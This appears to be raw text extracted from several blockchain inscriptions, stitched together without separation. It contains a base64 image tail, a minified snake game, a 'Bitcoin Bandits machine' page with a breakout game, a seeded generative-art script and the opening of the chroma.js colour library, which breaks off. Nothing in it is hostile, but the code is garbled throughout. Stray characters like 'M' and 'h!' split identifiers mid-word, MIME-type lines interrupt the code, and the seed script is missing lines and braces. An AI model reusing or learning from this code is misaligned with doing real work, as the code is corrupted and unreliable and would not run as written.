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" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}fM
unction loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){contexM
t.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snakL
e.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
ywAAAABJRU5ErkJggg==" class="background"><div class="game"><canvas width="400" height="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","GM
","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(briM
ckHeight+brickGap)*a,color:colorMap[colorCode],width:brickWidth,height:brickHeight})}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>cM
anvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(M
ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddleMk
.y,paddle.width,paddle.height)}document.addEventListener("keydown",function(l){if(l.which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
